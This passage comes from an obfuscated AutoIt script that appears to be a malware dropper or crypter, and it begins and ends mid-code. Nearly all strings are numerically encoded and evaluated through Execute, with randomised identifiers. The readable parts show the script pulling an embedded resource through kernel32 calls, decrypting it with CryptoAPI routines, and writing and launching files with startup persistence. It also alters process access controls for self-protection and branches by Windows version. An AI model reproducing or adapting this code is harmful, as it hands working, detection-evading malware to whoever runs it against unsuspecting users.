("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,60,58,59,57,59,58,60,55,59,55,59,6,60,56,60,56,58,2,55,55,55,53,55,59,55,53,55,57,59,55,59,62,59,5,57,3,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,62,55,3,55,53,55,55,60,58,59,57,59,58,60,55,59,55,59,6,60,56,60,56,55,55,55,3,55,53,55,57,59,3,59,58,60,53,60,58,60,57,59,54,59,62,59,5,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,57,59,59,62,59,3,59,58,58,6,58,56,60,57,60,55,60,58,59,56,60,57,55,3,55,53,55,55,60,56,59,62,59,3,59,2,60,55,59,58,59,59,60,58,59,57,55,55,55,3,55,53,55,57,59,57,59,54,60,57,59,54,55,62" ) ) ) LOCAL $RET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,57,54,59,57,59,57,60,55,59,58,60,56,60,56,55,61,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,3,55,53,55,55,60,56,60,57,60,55,55,55,55,3,55,53,55,57,60,53,60,55,59,6,59,56,59,58,60,56,60,56,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,57,59,59,62,59,3,59,58,58,6,58,56,60,57,60,55,60,58,59,56,60,57,55,62,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,58,59,59,62,60,55,60,57,60,58,59,54,59,3,57,59,60,55,59,58,59,58,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,61,56,53,56,53,56,53,55,55,55,62" ) ) ) LOCAL $PID = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,57,60,59,58,60,57,58,53,60,55,59,6,59,56,59,58,60,56,60,56,57,62,59,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,55,59,58,60,57,58,2,55,55,56,53,55,55,58,4,55,62,58,2,55,55,56,53,55,55,58,4" ) ) ) IF $PROTECT THEN ACL ($RET [BTBXJYMRFGAETPA ("53" ) ] ) ENDIF IF $PERSIST THEN FFFWGZEQMC ($PID ) ENDIF ENDFUNC FUNC GZEFGAQPTILN () RETURN EXECUTE (BTBXJYMRFGAETPA ("4,38,38,19,46,44,47,29,46,3,44,31,27,46,31" ) ) ENDFUNC FUNC AXKQWZXSXH () ENDFUNC FUNC ACL ($HANDLE ) $E = EXECUTE $BN = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) ) LOCAL $TACL = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,57,54,59,56,59,3,58,55,59,58,60,59,59,62,60,56,59,62,59,6,59,5,56,2,59,55,60,62,60,57,59,58,55,53,58,56,59,55,60,1,56,54,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,57,54,59,56,59,3,58,56,59,62,60,1,59,58,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,57,54,59,56,59,58,57,56,59,6,60,58,59,5,60,57,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,58,56,59,55,60,1,56,55,55,55,55,62" ) ) ) LOCAL $PACL = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,54,57,56,57,3,55,62" ) ) ) LOCAL $TSD = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,56,55,56,53,58,4,55,55,55,62" ) ) ) LOCAL $PSD = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,58,56,57,57,55,62" ) ) ) LOCAL $RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,57,62,59,5,59,62,60,57,59,62,59,54,59,3,59,62,60,1,59,58,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,57,57,59,58,60,56,59,56,60,55,59,62,60,53,60,57,59,6,60,55,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,54,55,60,55,62" ) ) ) $RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,57,62,59,5,59,62,60,57,59,62,59,54,59,3,59,62,60,1,59,58,57,54,59,56,59,3,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,57,54,57,56,57,3,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,54,57,56,57,3,55,62,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,55,55,60,55,62" ) ) ) $RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,58,56,59,58,60,57,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,57,57,59,58,60,56,59,56,60,55,59,62,60,53,60,57,59,6,60,55,57,57,59,54,59,56,59,3,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,56,54,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,57,54,57,56,57,3,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,56,53,55,60,55,62" ) ) ) $RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,58,56,59,58,60,57,57,2,59,58,60,55,59,5,59,58,59,3,57,6,59,55,59,1,59,58,59,56,60,57,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,59,61,59,54,59,5,59,57,59,3,59,58,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,53,60,61,56,53,56,57,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,62" ) ) ) ENDFUNC FUNC WXKBBNNEOP ($FILE , $STARTUP , $RES ) $FILE = $IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM & "\" & $FILE DIM $FHANDLE = $DQIFFUXAMLIV ($FILE , BTBXJYMRFGAETPA ("55" ) ) DIM $DATA = READRESOURCES ($RES , BTBXJYMRFGAETPA ("54,53" ) ) $CLTCCKUEQWTC ($FHANDLE , $CAIQJRRJDNHO ($DATA , 1 ) ) $INRXTUXKPWXC ($FHANDLE ) IF $STARTUP = BTBXJYMRFGAETPA ("6,27,38,45,31" ) THEN IF $STARTUPDIR <> $CFJUHMDSDKCZOCVFLYURKIBOKZAHTMIIE THEN $LYDOYURNNHSZ ($FILE ) ENDIF ELSE $LYDOYURNNHSZ ($FILE ) ENDIF ENDFUNC FUNC RLIPXUZECEXV () RETURN EXECUTE (BTBXJYMRFGAETPA ("6,35,38,31,15,42,31,40" ) ) ENDFUNC FUNC ZJFEKVYJJF ($NAME , $FILENAME ) LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("2,35,40,27,44,51,20,41,19,46,44,35,40,33" ) ) LOCAL $BYTES = $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,58,55,59,58,59,54,59,57,55,61,57,53,58,56,59,56,60,55,59,62,60,53,60,57,57,59,60,58,59,3,59,3,58,53,59,54,60,57,59,61,55,62,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,55,61,58,55,59,54,59,5,59,57,59,6,59,4,55,61,55,55,56,53,55,55,55,3,55,55,56,55,56,58,56,58,55,55,55,62,55,62" ) ) ) LOCAL $FULLPATH = $E ($B (BTBXJYMRFGAETPA ("53,50,55,57,60,56,60,57,59,54,60,55,60,57,60,58,60,53,59,57,59,62,60,55,55,53,55,59,55,53,55,55,58,3,55,55,55,53,55,59,55,53,55,57,59,59,59,62,59,3,59,58,59,5,59,54,59,4,59,58,55,53,55,59,55,53,55,55,55,5,59,55,59,54,60,57,55,55" ) ) ) IF $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,58,60,61,59,62,60,56,60,57,60,56,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,62,55,53,56,4,55,53,55,55,56,53,55,55" ) ) ) THEN $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("34,27,40,30,38,31" ) , BTBXJYMRFGAETPA ("3,44,31,27,46,31,6,35,38,31,23" ) , BTBXJYMRFGAETPA ("49,45,46,44" ) , $FULLPATH , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , BTBXJYMRFGAETPA ("53" ) , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , "" , "struct*" , "" , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , BTBXJYMRFGAETPA ("54" ) , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , "" , BTBXJYMRFGAETPA ("34,27,40,30,38,31" ) , "" ) DIM $FILEHANDLE = $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,6,60,53,59,58,59,5,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,3,55,53,55,55,56,54,56,53,55,55,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,58,60,60,55,59,62,60,57,59,58,55,61,55,57,59,59,59,62,59,3,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,3,55,53,55,57,59,55,60,62,60,57,59,58,60,56,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,56,59,3,59,6,60,56,59,58,55,61,55,57,59,59,59,62,59,3,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,56,60,55,59,58,59,54,60,57,59,58,58,56,59,61,59,6,60,55,60,57,59,56,60,58,60,57,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,3,55,53,57,53,58,56,60,57,59,54,60,55,60,57,60,58,60,53,57,57,59,62,60,55,55,53,55,59,55,53,55,55,58,3,55,55,55,53,55,59,55,53,55,57,59,5,59,54,59,4,59,58,55,53,55,59,55,53,55,55,55,5,59,3,59,5,59,2,55,55,55,62" ) ) ) ENDIF ENDFUNC FUNC OPYIFKUKCKES () RETURN EXECUTE (BTBXJYMRFGAETPA ("19,38,31,31,42" ) ) ENDFUNC FUNC NHVVDKWADDWZ () RETURN EXECUTE (BTBXJYMRFGAETPA ("18,31,33,23,44,35,46,31" ) ) ENDFUNC FUNC MTHJNHTHYUUU () RETURN EXECUTE (BTBXJYMRFGAETPA ("16,44,41,29,31,45,45,5,50,35,45,46,45" ) ) ENDFUNC FUNC TEYWNKUHGE ($INPUT ) LOCAL $RND = BTBXJYMRFGAETPA ("53" ) LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) ) LOCAL $RESULT $INPUT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,58,57,59,6,58,56,60,57,60,55,59,62,59,5,59,60,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,62" ) ) ) LOCAL $FIRSTCHARS = $E ($B (BTBXJYMRFGAETPA ("53,50,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,59,60,57,55,61,58,56,60,57,60,55,59,62,59,5,59,60,58,55,59,62,59,60,59,61,60,57,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,3,55,53,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,5,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,62,55,53,55,4,55,53,55,55,56,55,55,55,55,62,55,3,55,53,55,55,56,59,55,55,55,62" ) ) ) WHILE ($RESULT <> BTBXJYMRFGAETPA ("5,62,6,59,54,5" ) ) $RND += BTBXJYMRFGAETPA ("54" ) $RESULT = XOR ($FIRSTCHARS , $RND ) WEND $RESULT = XOR ($INPUT , $RND ) RETURN $RESULT ENDFUNC FUNC FQZOUFGHZF ($TITLE , $BODY , $TYPE ) IF $BOOL = BTBXJYMRFGAETPA ("6,27,38,45,31" ) THEN $ZNNZHMCQTOPD ($TYPE , $TITLE , $BODY ) ENDIF ENDFUNC FUNC ETFNKADRSB () LOCAL $OSVERSION = $AVJTMWBNEWJJVDCTUDWDEWCFIKWNLJRYLAMRLSPMDEPITACR IF NOT $QCJGZATPVQXM () THEN IF $TWXPJLDBTLTX ($OSVERSION , BTBXJYMRFGAETPA ("60" ) ) THEN GTIQUIETGC () ELSEIF $TWXPJLDBTLTX ($OSVERSION , BTBXJYMRFGAETPA ("61" ) ) THEN GTIQUIETGC () ELSEIF $TWXPJLDBTLTX ($OSVERSION , BTBXJYMRFGAETPA ("54,53" ) ) THEN MSQGWYVXLW () ENDIF ENDIF ENDFUNC FUNC VFNIVSZMZI () IF $BECCJIYOKJQE ("[CLASS:Progman]" ) = BTBXJYMRFGAETPA ("53" ) THEN $FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK ) ENDIF ENDFUNC FUNC GLOBALDATA ($DATA , $RT ) LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) ) LOCAL $RETURN LOCAL $R = $E ($B (BTBXJYMRFGAETPA ("53,50,58,56,60,57,60,55,59,62,59,5,59,60,58,56,60,53,59,3,59,62,60,57,55,61,57,55,59,62,59,5,59,54,60,55,60,62,58,57,59,6,58,56,60,57,60,55,59,62,59,5,59,60,55,61,55,57,59,57,59,54,60,57,59,54,55,62,55,3,55,53,55,55,60,3,55,55,55,62" ) ) ) IF $RT <> "-1" THEN FOR $I = BTBXJYMRFGAETPA ("54" ) TO $E ($B (BTBXJYMRFGAETPA ("53,50,58,58,57,55,59,6,60,58,59,5,59,57,55,61,55,57,60,55,55,62,55,53,55,4,55,53,55,55,56,54,55,55" ) ) ) IF $I = BTBXJYMRFGAETPA ("54" ) THEN $RETURN = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,58,55,59,58,59,54,59,57,58,55,59,58,60,56,59,6,60,58,60,55,59,56,59,58,60,56,55,61,55,57,60,55,58,2,55,57,59,62,58,4,55,3,55,53,55,57,60,55,60,57,55,62,55,3,55,53,56,54,55,62" ) ) ) ELSE $RETURN &= $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,57,57,59,54,60,57,59,54,55,61,58,55,59,58,59,54,59,57,58,55,59,58,60,56,59,6,60,58,60,55,59,56,59,58,60,56,55,61,55,57,60,55,58,2,55,57,59,62,58,4,55,3,55,53,55,57,60,55,60,57,55,62,55,3,55,53,56,54,55,62" ) ) ) ENDIF NEXT ELSE $RETURN = $DATA ENDIF RETURN $RETURN ENDFUNC FUNC READRESOURCES ($RESNAME , $RESTYPE ) LOCAL $HINSTANCE LOCAL $INFOBLOCK = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("42,46,44" ) , BTBXJYMRFGAETPA ("6,35,40,30,18,31,45,41,47,44,29,31,23" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $HINSTANCE , BTBXJYMRFGAETPA ("49,45,46,44" ) , $RESNAME , BTBXJYMRFGAETPA ("38,41,40,33" ) , $RESTYPE ) [BTBXJYMRFGAETPA ("53" ) ] LOCAL $RESSIZE = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , BTBXJYMRFGAETPA ("19,35,52,31,41,32,18,31,45,41,47,44,29,31" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $HINSTANCE , BTBXJYMRFGAETPA ("42,46,44" ) , $INFOBLOCK ) [BTBXJYMRFGAETPA ("53" ) ] LOCAL $GLOBALMEMORYBLOCK = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("42,46,44" ) , BTBXJYMRFGAETPA ("12,41,27,30,18,31,45,41,47,44,29,31" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $HINSTANCE , BTBXJYMRFGAETPA ("42,46,44" ) , $INFOBLOCK ) [BTBXJYMRFGAETPA ("53" ) ] LOCAL $MEMORYPOINTER = $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("42,46,44" ) , BTBXJYMRFGAETPA ("12,41,29,37,18,31,45,41,47,44,29,31" ) , BTBXJYMRFGAETPA ("42,46,44" ) , $GLOBALMEMORYBLOCK ) [BTBXJYMRFGAETPA ("53" ) ] RETURN $QBQADACRHPDC ("byte[" & $RESSIZE & "]" , $MEMORYPOINTER ) ENDFUNC FUNC VLSHMDZKXOUE () RETURN EXECUTE (BTBXJYMRFGAETPA ("23,35,40,5,50,35,45,46,45" ) ) ENDFUNC FUNC VRMOLQYJSQGJ () RETURN EXECUTE (BTBXJYMRFGAETPA ("19,46,44,35,40,33,9,40,19,46,44" ) ) ENDFUNC FUNC ZUQIQWYIEPGW () RETURN EXECUTE (BTBXJYMRFGAETPA ("6,35,38,31,23,44,35,46,31" ) ) ENDFUNC FUNC PLXMFFUKHKPT () RETURN EXECUTE (BTBXJYMRFGAETPA ("2,35,46,15,18" ) ) ENDFUNC FUNC UGPTHQHYLFMO () RETURN EXECUTE (BTBXJYMRFGAETPA ("21,2,41,47,40,30" ) ) ENDFUNC FUNC EJTUMKGNAG ($VDATA , $VCRYPTKEY , $RT ) LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) ) LOCAL $__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("56" ) ] LOCAL $TBUFF LOCAL $TTEMPSTRUCT LOCAL $IPLAINTEXTSIZE LOCAL $VRETURN VFNIVSZMZI () $VDATA = GLOBALDATA ($VDATA , $RT ) $__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("54" ) ] = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,6,60,53,59,58,59,5,55,61,55,55,57,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,62" ) ) ) LOCAL $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,54,59,56,60,54,60,58,59,62,60,55,59,58,57,56,59,6,59,5,60,57,59,58,60,61,60,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,55,56,57,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,57,59,56,53,56,53,56,53,56,53,56,53,56,53,56,53,55,55,55,62" ) ) ) $__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("55" ) ] = $ARET [BTBXJYMRFGAETPA ("54" ) ] $__G_ACRYPTINTERNALDATA [BTBXJYMRFGAETPA ("53" ) ] += BTBXJYMRFGAETPA ("54" ) $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,56,60,55,59,58,59,54,60,57,59,58,57,61,59,54,60,56,59,61,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,60,58,59,62,59,5,60,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,61,56,53,56,53,56,56,55,55,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,53,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,62" ) ) ) $HCRYPTHASH = $ARET [BTBXJYMRFGAETPA ("58" ) ] $TBUFF = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,55,55,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,57,58,60,61,59,58,59,56,60,58,60,57,59,58,55,61,56,54,55,62,55,3,55,53,55,57,60,59,57,56,60,55,60,62,60,53,60,57,57,2,59,58,60,62,55,62" ) ) ) $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,57,57,59,54,60,57,59,54,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,57,60,57,57,55,60,58,59,59,59,59,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,55,60,58,59,59,59,59,55,62,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,56,54,55,62" ) ) ) $ARET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,55,59,62,60,59,59,58,57,2,59,58,60,62,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,55,58,4,55,3,55,53,55,55,60,58,59,62,59,5,60,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,59,56,59,56,54,56,53,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,53,56,53,56,53,56,53,56,53,56,53,56,53,56,54,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,1,55,55,55,3,55,53,56,53,55,62" ) ) ) $VRETURN = $ARET [BTBXJYMRFGAETPA ("58" ) ] $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,57,58,6,58,6,59,60,58,6,59,54,57,56,60,55,60,62,60,53,60,57,57,62,59,5,60,57,59,58,60,55,59,5,59,54,59,3,57,57,59,54,60,57,59,54,58,2,56,54,58,4,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,60,55,60,62,60,53,60,57,57,57,59,58,60,56,60,57,60,55,59,6,60,62,57,61,59,54,60,56,59,61,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,61,57,56,60,55,60,62,60,53,60,57,57,61,59,54,60,56,59,61,55,62" ) ) ) $VCRYPTKEY = $VRETURN $TBUFF = $E ($B (BTBXJYMRFGAETPA 